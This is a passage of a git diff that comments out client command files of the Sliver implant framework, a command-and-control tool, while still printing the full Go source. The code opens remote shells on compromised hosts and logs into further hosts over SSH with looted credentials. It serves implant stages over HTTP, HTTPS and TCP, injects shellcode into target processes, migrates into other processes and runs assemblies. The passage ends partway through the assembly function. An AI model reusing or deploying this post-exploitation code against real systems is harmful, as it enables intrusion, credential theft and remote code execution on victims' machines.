int32(poll), - }) +// session, err := rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{ +// SessionID: ActiveSession.session.ID, +// Name: name, +// ReconnectInterval: int32(reconnect), +// PollInterval: int32(poll), +// }) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - ActiveSession.Set(session) +// ActiveSession.Set(session) -} +// } diff --git a/client/command/shell.go b/client/command/shell.go index 50e88dd19f..20cf9f3f32 100644 --- a/client/command/shell.go +++ b/client/command/shell.go @@ -1,267 +1,267 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "bufio" - "bytes" - "context" - "errors" - "fmt" - "io" - "io/ioutil" - "log" - "os" - "strings" - "text/tabwriter" +// import ( +// "bufio" +// "bytes" +// "context" +// "errors" +// "fmt" +// "io" +// "io/ioutil" +// "log" +// "os" +// "strings" +// "text/tabwriter" - "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/core" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/AlecAivazis/survey/v2" +// "github.com/bishopfox/sliver/client/core" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" - "golang.org/x/crypto/ssh/terminal" -) +// "github.com/desertbit/grumble" +// "golang.org/x/crypto/ssh/terminal" +// ) -const ( - windows = "windows" - darwin = "darwin" - linux = "linux" -) +// const ( +// windows = "windows" +// darwin = "darwin" +// linux = "linux" +// ) -func shell(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } +// func shell(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } - if !isUserAnAdult() { - return - } +// if !IsUserAnAdult() { +// return +// } - shellPath := ctx.Flags.String("shell-path") - noPty := ctx.Flags.Bool("no-pty") - if ActiveSession.Get().OS != linux && ActiveSession.Get().OS != darwin { - noPty = true // Sliver's PTYs are only supported on linux/darwin - } - runInteractive(ctx, shellPath, noPty, rpc) - fmt.Println("Shell exited") -} +// shellPath := ctx.Flags.String("shell-path") +// noPty := ctx.Flags.Bool("no-pty") +// if ActiveSession.Get().OS != linux && ActiveSession.Get().OS != darwin { +// noPty = true // Sliver's PTYs are only supported on linux/darwin +// } +// runInteractive(ctx, shellPath, noPty, rpc) +// fmt.Println("Shell exited") +// } -func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, rpc rpcpb.SliverRPCClient) { - fmt.Printf(Info + "Opening shell tunnel (EOF to exit) ...\n\n") - session := ActiveSession.Get() - if session == nil { - return - } +// func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, rpc rpcpb.SliverRPCClient) { +// fmt.Printf(Info + "Opening shell tunnel (EOF to exit) ...\n\n") +// session := ActiveSession.Get() +// if session == nil { +// return +// } - // Create an RPC tunnel, then start it before binding the shell to the newly created tunnel - rpcTunnel, err := rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{ - SessionID: session.ID, - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID) +// // Create an RPC tunnel, then start it before binding the shell to the newly created tunnel +// rpcTunnel, err := rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{ +// SessionID: session.ID, +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID) - // Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object - tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID) +// // Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object +// tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID) - shell, err := rpc.Shell(context.Background(), &sliverpb.ShellReq{ - Request: ActiveSession.Request(ctx), - Path: shellPath, - EnablePTY: !noPty, - TunnelID: tunnel.ID, - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID) - fmt.Printf(Info+"Started remote shell with pid %d\n\n", shell.Pid) +// shell, err := rpc.Shell(context.Background(), &sliverpb.ShellReq{ +// Request: ActiveSession.Request(ctx), +// Path: shellPath, +// EnablePTY: !noPty, +// TunnelID: tunnel.ID, +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID) +// fmt.Printf(Info+"Started remote shell with pid %d\n\n", shell.Pid) - var oldState *terminal.State - if !noPty { - oldState, err = terminal.MakeRaw(0) - log.Printf("Saving terminal state: %v", oldState) - if err != nil { - fmt.Printf(Warn + "Failed to save terminal state") - return - } - } +// var oldState *terminal.State +// if !noPty { +// oldState, err = terminal.MakeRaw(0) +// log.Printf("Saving terminal state: %v", oldState) +// if err != nil { +// fmt.Printf(Warn + "Failed to save terminal state") +// return +// } +// } - log.Printf("Starting stdin/stdout shell ...") - go func() { - n, err := io.Copy(os.Stdout, tunnel) - log.Printf("Wrote %d bytes to stdout", n) - if err != nil { - fmt.Printf(Warn+"Error writing to stdout: %v", err) - return - } - }() - log.Printf("Reading from stdin ...") - n, err := io.Copy(tunnel, os.Stdin) - log.Printf("Read %d bytes from stdin", n) - if err != nil && err != io.EOF { - fmt.Printf(Warn+"Error reading from stdin: %v\n", err) - } +// log.Printf("Starting stdin/stdout shell ...") +// go func() { +// n, err := io.Copy(os.Stdout, tunnel) +// log.Printf("Wrote %d bytes to stdout", n) +// if err != nil { +// fmt.Printf(Warn+"Error writing to stdout: %v", err) +// return +// } +// }() +// log.Printf("Reading from stdin ...") +// n, err := io.Copy(tunnel, os.Stdin) +// log.Printf("Read %d bytes from stdin", n) +// if err != nil && err != io.EOF { +// fmt.Printf(Warn+"Error reading from stdin: %v\n", err) +// } - if !noPty { - log.Printf("Restoring terminal state ...") - terminal.Restore(0, oldState) - } +// if !noPty { +// log.Printf("Restoring terminal state ...") +// terminal.Restore(0, oldState) +// } - log.Printf("Exit interactive") - bufio.NewWriter(os.Stdout).Flush() -} +// log.Printf("Exit interactive") +// bufio.NewWriter(os.Stdout).Flush() +// } -func runSSHCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - var ( - privKey []byte - err error - ) - session := ActiveSession.GetInteractive() - if session == nil { - return - } +// func runSSHCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// var ( +// privKey []byte +// err error +// ) +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } - username := ctx.Flags.String("login") - if username == "" { - username = session.GetUsername() - } +// username := ctx.Flags.String("login") +// if username == "" { +// username = session.GetUsername() +// } - port := ctx.Flags.Uint("port") - privateKeypath := ctx.Flags.String("private-key") - if privateKeypath != "" { - privKey, err = ioutil.ReadFile(privateKeypath) - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err.Error()) - return - } - } - password := ctx.Flags.String("password") +// port := ctx.Flags.Uint("port") +// privateKeypath := ctx.Flags.String("private-key") +// if privateKeypath != "" { +// privKey, err = ioutil.ReadFile(privateKeypath) +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err.Error()) +// return +// } +// } +// password := ctx.Flags.String("password") - hostname := ctx.Args.String("hostname") - command := ctx.Args.StringList("command") +// hostname := ctx.Args.String("hostname") +// command := ctx.Args.StringList("command") - if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") { - oldUsername := username - username, password, privKey = tryCredsFromLoot(rpc) - if username == "" { - username = oldUsername - } - } +// if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") { +// oldUsername := username +// username, password, privKey = tryCredsFromLoot(rpc) +// if username == "" { +// username = oldUsername +// } +// } - commandResp, err := rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{ - Username: username, - Hostname: hostname, - Port: uint32(port), - PrivKey: privKey, - Password: password, - Command: strings.Join(command, " "), - Request: ActiveSession.Request(ctx), - }) - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err.Error()) - return - } +// commandResp, err := rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{ +// Username: username, +// Hostname: hostname, +// Port: uint32(port), +// PrivKey: privKey, +// Password: password, +// Command: strings.Join(command, " "), +// Request: ActiveSession.Request(ctx), +// }) +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err.Error()) +// return +// } - if commandResp.Response != nil && commandResp.Response.Err != "" { - fmt.Printf(Warn+"Error: %s\n", commandResp.Response.Err) - if commandResp.StdErr != "" { - fmt.Printf(Warn+"StdErr: %s\n", commandResp.StdErr) - } - return - } - if commandResp.StdOut != "" { - fmt.Println(Info + "Output:") - fmt.Println(commandResp.StdOut) - if commandResp.StdErr != "" { - fmt.Println(Info + "StdErr") - fmt.Println(commandResp.StdErr) - } - } -} +// if commandResp.Response != nil && commandResp.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s\n", commandResp.Response.Err) +// if commandResp.StdErr != "" { +// fmt.Printf(Warn+"StdErr: %s\n", commandResp.StdErr) +// } +// return +// } +// if commandResp.StdOut != "" { +// fmt.Println(Info + "Output:") +// fmt.Println(commandResp.StdOut) +// if commandResp.StdErr != "" { +// fmt.Println(Info + "StdErr") +// fmt.Println(commandResp.StdErr) +// } +// } +// } -func tryCredsFromLoot(rpc rpcpb.SliverRPCClient) (string, string, []byte) { - var ( - username string - password string - privKey []byte - ) - confirm := false - prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"} - survey.AskOne(prompt, &confirm, nil) - if confirm { - loot, err := selectCredentials(rpc) - if err != nil { - fmt.Printf(Warn + "invalid loot data, will try to use the SSH agent") - } else { - switch loot.CredentialType { - case clientpb.CredentialType_API_KEY: - privKey = []byte(loot.Credential.APIKey) - case clientpb.CredentialType_USER_PASSWORD: - username = loot.Credential.User - password = loot.Credential.Password - } - } - } - return username, password, privKey -} +// func tryCredsFromLoot(rpc rpcpb.SliverRPCClient) (string, string, []byte) { +// var ( +// username string +// password string +// privKey []byte +// ) +// confirm := false +// prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"} +// survey.AskOne(prompt, &confirm, nil) +// if confirm { +// loot, err := selectCredentials(rpc) +// if err != nil { +// fmt.Printf(Warn + "invalid loot data, will try to use the SSH agent") +// } else { +// switch loot.CredentialType { +// case clientpb.CredentialType_API_KEY: +// privKey = []byte(loot.Credential.APIKey) +// case clientpb.CredentialType_USER_PASSWORD: +// username = loot.Credential.User +// password = loot.Credential.Password +// } +// } +// } +// return username, password, privKey +// } -func selectCredentials(rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) { - allLoot, err := rpc.LootAllOf(context.Background(), &clientpb.Loot{ - Type: clientpb.LootType_LOOT_CREDENTIAL, - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } +// func selectCredentials(rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) { +// allLoot, err := rpc.LootAllOf(context.Background(), &clientpb.Loot{ +// Type: clientpb.LootType_LOOT_CREDENTIAL, +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } - // Render selection table - buf := bytes.NewBufferString("") - table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0) - for _, loot := range allLoot.Loot { - fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.CredentialType, loot.LootID) - } - table.Flush() - options := strings.Split(buf.String(), "\n") - options = options[:len(options)-1] - if len(options) == 0 { - return nil, errors.New("no loot to select from") - } +// // Render selection table +// buf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0) +// for _, loot := range allLoot.Loot { +// fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.CredentialType, loot.LootID) +// } +// table.Flush() +// options := strings.Split(buf.String(), "\n") +// options = options[:len(options)-1] +// if len(options) == 0 { +// return nil, errors.New("no loot to select from") +// } - selected := "" - prompt := &survey.Select{ - Message: "Select a piece of credentials:", - Options: options, - } - err = survey.AskOne(prompt, &selected) - if err != nil { - return nil, err - } - for index, value := range options { - if value == selected { - return allLoot.Loot[index], nil - } - } - return nil, errors.New("loot not found") -} +// selected := "" +// prompt := &survey.Select{ +// Message: "Select a piece of credentials:", +// Options: options, +// } +// err = survey.AskOne(prompt, &selected) +// if err != nil { +// return nil, err +// } +// for index, value := range options { +// if value == selected { +// return allLoot.Loot[index], nil +// } +// } +// return nil, errors.New("loot not found") +// } diff --git a/client/command/stager.go b/client/command/stager.go index 6dab895efc..88512e1af0 100644 --- a/client/command/stager.go +++ b/client/command/stager.go @@ -1,181 +1,181 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - "net/url" - "path/filepath" - "strconv" - "strings" - - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" -) - -// stage-listener --url [tcp://ip:port | http://ip:port ] --profile name -func stageListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - profileName := ctx.Flags.String("profile") - listenerURL := ctx.Flags.String("url") - - if profileName == "" || listenerURL == "" { - fmt.Println(Warn + "missing required flags, see `help stage-listener` for more info") - return - } - - // parse listener url - stagingURL, err := url.Parse(listenerURL) - if err != nil { - fmt.Printf(Warn + "listener-url format not supported") - return - } - stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32) - if err != nil { - fmt.Printf(Warn+"error parsing staging port: %v\n", err) - return - } - - profile := getImplantProfileByName(rpc, profileName) - if profile != nil { - - } - stage2, err := getSliverBinary(profile, rpc) - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } - - switch stagingURL.Scheme { - case "http": - ctrl := make(chan bool) - go spin.Until("Starting HTTP staging listener...", ctrl) - stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{ - Protocol: clientpb.StageProtocol_HTTP, - Data: stage2, - Host: stagingURL.Hostname(), - Port: uint32(stagingPort), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error starting HTTP staging listener: %v\n", err) - return - } - fmt.Printf(Info+"Job %d (http) started\n", stageListener.GetJobID()) - case "https": - cert, key, err := getLocalCertificatePair(ctx) - if err != nil { - fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err) - return - } - ctrl := make(chan bool) - go spin.Until("Starting HTTPS staging listener...", ctrl) - stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{ - Protocol: clientpb.StageProtocol_HTTPS, - Data: stage2, - Host: stagingURL.Hostname(), - Port: uint32(stagingPort), - Cert: cert, - Key: key, - ACME: ctx.Flags.Bool("lets-encrypt"), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error starting HTTPS staging listener: %v\n", err) - return - } - fmt.Printf(Info+"Job %d (https) started\n", stageListener.GetJobID()) - case "tcp": - ctrl := make(chan bool) - go spin.Until("Starting TCP staging listener...", ctrl) - stageListener, err := rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{ - Protocol: clientpb.StageProtocol_TCP, - Data: stage2, - Host: stagingURL.Hostname(), - Port: uint32(stagingPort), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error starting TCP staging listener: %v\n", err) - return - } - fmt.Printf(Info+"Job %d (tcp) started\n", stageListener.GetJobID()) - - default: - fmt.Printf(Warn+"Unsupported staging protocol: %s\n", stagingURL.Scheme) - return - } -} - -func getSliverBinary(profile *clientpb.ImplantProfile, rpc rpcpb.SliverRPCClient) ([]byte, error) { - var data []byte - // get implant builds - builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) - if err != nil { - return data, err - } - - implantName := buildImplantName(profile.GetConfig().GetName()) - _, ok := builds.GetConfigs()[implantName] - if implantName == "" || !ok { - // no built implant found for profile, generate a new one - fmt.Printf(Info+"No builds found for profile %s, generating a new one\n", profile.GetName()) - ctrl := make(chan bool) - go spin.Until("Compiling, please wait ...", ctrl) - - generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{ - Config: profile.Config, - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Println("Error generating implant") - return data, err - } - data = generated.GetFile().GetData() - profile.Config.Name = buildImplantName(generated.GetFile().GetName()) - _, err = rpc.SaveImplantProfile(context.Background(), profile) - if err != nil { - fmt.Println("Error updating implant profile") - return data, err - } - } else { - // Found a build, reuse that one - fmt.Printf(Info+"Sliver name for profile: %s\n", implantName) - regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{ - ImplantName: profile.GetConfig().GetName(), - }) - - if err != nil { - return data, err - } - data = regenerate.GetFile().GetData() - } - return data, err -} - -func buildImplantName(name string) string { - return strings.TrimSuffix(name, filepath.Ext(name)) -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "context" +// "fmt" +// "net/url" +// "path/filepath" +// "strconv" +// "strings" + +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/desertbit/grumble" +// ) + +// // stage-listener --url [tcp://ip:port | http://ip:port ] --profile name +// func stageListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// profileName := ctx.Flags.String("profile") +// listenerURL := ctx.Flags.String("url") + +// if profileName == "" || listenerURL == "" { +// fmt.Println(Warn + "missing required flags, see `help stage-listener` for more info") +// return +// } + +// // parse listener url +// stagingURL, err := url.Parse(listenerURL) +// if err != nil { +// fmt.Printf(Warn + "listener-url format not supported") +// return +// } +// stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32) +// if err != nil { +// fmt.Printf(Warn+"error parsing staging port: %v\n", err) +// return +// } + +// profile := getImplantProfileByName(rpc, profileName) +// if profile != nil { + +// } +// stage2, err := getSliverBinary(profile, rpc) +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } + +// switch stagingURL.Scheme { +// case "http": +// ctrl := make(chan bool) +// go spin.Until("Starting HTTP staging listener...", ctrl) +// stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{ +// Protocol: clientpb.StageProtocol_HTTP, +// Data: stage2, +// Host: stagingURL.Hostname(), +// Port: uint32(stagingPort), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error starting HTTP staging listener: %v\n", err) +// return +// } +// fmt.Printf(Info+"Job %d (http) started\n", stageListener.GetJobID()) +// case "https": +// cert, key, err := getLocalCertificatePair(ctx) +// if err != nil { +// fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err) +// return +// } +// ctrl := make(chan bool) +// go spin.Until("Starting HTTPS staging listener...", ctrl) +// stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{ +// Protocol: clientpb.StageProtocol_HTTPS, +// Data: stage2, +// Host: stagingURL.Hostname(), +// Port: uint32(stagingPort), +// Cert: cert, +// Key: key, +// ACME: ctx.Flags.Bool("lets-encrypt"), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error starting HTTPS staging listener: %v\n", err) +// return +// } +// fmt.Printf(Info+"Job %d (https) started\n", stageListener.GetJobID()) +// case "tcp": +// ctrl := make(chan bool) +// go spin.Until("Starting TCP staging listener...", ctrl) +// stageListener, err := rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{ +// Protocol: clientpb.StageProtocol_TCP, +// Data: stage2, +// Host: stagingURL.Hostname(), +// Port: uint32(stagingPort), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error starting TCP staging listener: %v\n", err) +// return +// } +// fmt.Printf(Info+"Job %d (tcp) started\n", stageListener.GetJobID()) + +// default: +// fmt.Printf(Warn+"Unsupported staging protocol: %s\n", stagingURL.Scheme) +// return +// } +// } + +// func getSliverBinary(profile *clientpb.ImplantProfile, rpc rpcpb.SliverRPCClient) ([]byte, error) { +// var data []byte +// // get implant builds +// builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) +// if err != nil { +// return data, err +// } + +// implantName := buildImplantName(profile.GetConfig().GetName()) +// _, ok := builds.GetConfigs()[implantName] +// if implantName == "" || !ok { +// // no built implant found for profile, generate a new one +// fmt.Printf(Info+"No builds found for profile %s, generating a new one\n", profile.GetName()) +// ctrl := make(chan bool) +// go spin.Until("Compiling, please wait ...", ctrl) + +// generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{ +// Config: profile.Config, +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Println("Error generating implant") +// return data, err +// } +// data = generated.GetFile().GetData() +// profile.Config.Name = buildImplantName(generated.GetFile().GetName()) +// _, err = rpc.SaveImplantProfile(context.Background(), profile) +// if err != nil { +// fmt.Println("Error updating implant profile") +// return data, err +// } +// } else { +// // Found a build, reuse that one +// fmt.Printf(Info+"Sliver name for profile: %s\n", implantName) +// regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{ +// ImplantName: profile.GetConfig().GetName(), +// }) + +// if err != nil { +// return data, err +// } +// data = regenerate.GetFile().GetData() +// } +// return data, err +// } + +// func buildImplantName(name string) string { +// return strings.TrimSuffix(name, filepath.Ext(name)) +// } diff --git a/client/command/tasks.go b/client/command/tasks.go index 39881c4b43..83da9685e3 100644 --- a/client/command/tasks.go +++ b/client/command/tasks.go @@ -1,414 +1,414 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bufio" - "context" - "fmt" - "io" - "io/ioutil" - "log" - "os" - "path" - "path/filepath" - "strings" - - "github.com/bishopfox/sliver/client/core" - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "golang.org/x/crypto/ssh/terminal" - - "github.com/desertbit/grumble" -) - -func executeShellcode(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - interactive := ctx.Flags.Bool("interactive") - pid := ctx.Flags.Uint("pid") - shellcodePath := ctx.Args.String("filepath") - shellcodeBin, err := ioutil.ReadFile(shellcodePath) - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err.Error()) - return - } - if pid != 0 && interactive { - fmt.Printf(Warn + "Cannot use both `--pid` and `--interactive`\n") - return - } - if interactive { - executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), rpc) - return - } - ctrl := make(chan bool) - msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName()) - go spin.Until(msg, ctrl) - task, err := rpc.Task(context.Background(), &sliverpb.TaskReq{ - Data: shellcodeBin, - RWXPages: ctx.Flags.Bool("rwx-pages"), - Pid: uint32(pid), - Request: ActiveSession.Request(ctx), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } - if task.Response.GetErr() != "" { - fmt.Printf(Warn+"Error: %s\n", task.Response.GetErr()) - return - } - fmt.Printf(Info + "Executed shellcode on target\n") -} - -func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, rpc rpcpb.SliverRPCClient) { - // Check active session - session := ActiveSession.Get() - if session == nil { - return - } - // Start remote process and tunnel - noPty := false - if session.GetOS() == "windows" { - noPty = true // Windows of course doesn't have PTYs - } - - rpcTunnel, err := rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{ - SessionID: session.ID, - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } - - tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID()) - - shell, err := rpc.Shell(context.Background(), &sliverpb.ShellReq{ - Request: ActiveSession.Request(ctx), - Path: hostProc, - EnablePTY: !noPty, - TunnelID: tunnel.ID, - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } - // Retrieve PID and start remote task - pid := shell.GetPid() - - ctrl := make(chan bool) - msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName()) - go spin.Until(msg, ctrl) - _, err = rpc.Task(context.Background(), &sliverpb.TaskReq{ - Request: ActiveSession.Request(ctx), - Pid: pid, - Data: shellcode, - RWXPages: rwxPages, - }) - ctrl <- true - <-ctrl - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID) - fmt.Printf(Info+"Started remote shell with pid %d\n\n", shell.Pid) - - var oldState *terminal.State - if !noPty { - oldState, err = terminal.MakeRaw(0) - log.Printf("Saving terminal state: %v", oldState) - if err != nil { - fmt.Printf(Warn + "Failed to save terminal state") - return - } - } - - log.Printf("Starting stdin/stdout shell ...") - go func() { - n, err := io.Copy(os.Stdout, tunnel) - log.Printf("Wrote %d bytes to stdout", n) - if err != nil { - fmt.Printf(Warn+"Error writing to stdout: %v", err) - return - } - }() - for { - log.Printf("Reading from stdin ...") - n, err := io.Copy(tunnel, os.Stdin) - log.Printf("Read %d bytes from stdin", n) - if err == io.EOF { - break - } - if err != nil { - fmt.Printf(Warn+"Error reading from stdin: %v", err) - break - } - } - - if !noPty { - log.Printf("Restoring terminal state ...") - terminal.Restore(0, oldState) - } - - log.Printf("Exit interactive") - bufio.NewWriter(os.Stdout).Flush() - -} - -func migrate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - - pid := ctx.Args.Uint("pid") - config := getActiveSliverConfig() - ctrl := make(chan bool) - msg := fmt.Sprintf("Migrating into %d ...", pid) - go spin.Until(msg, ctrl) - migrate, err := rpc.Migrate(context.Background(), &clientpb.MigrateReq{ - Pid: uint32(pid), - Config: config, - Request: ActiveSession.Request(ctx), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - if !migrate.Success { - fmt.Printf(Warn+"%s\n", migrate.GetResponse().GetErr()) - return - } - fmt.Printf("\n"+Info+"Successfully migrated to %d\n", pid) -} - -func executeAssembly(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - - filePath := ctx.Args.String("filepath") - isDLL := false - if filepath.Ext(filePath) == ".dll" { - isDLL = true - } - if isDLL { - if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" { - fmt.Printf(Warn + "Please provide a class name (namespace.class) and method\n") - return - } - } - assemblyBytes, err := ioutil.ReadFile(filePath) - if err != nil { - fmt.Printf(Warn+"%s", err.Error()) - return - } - - assemblyArgs := ctx.Args.StringList("arguments") - process := ctx.Flags.String("process") - - 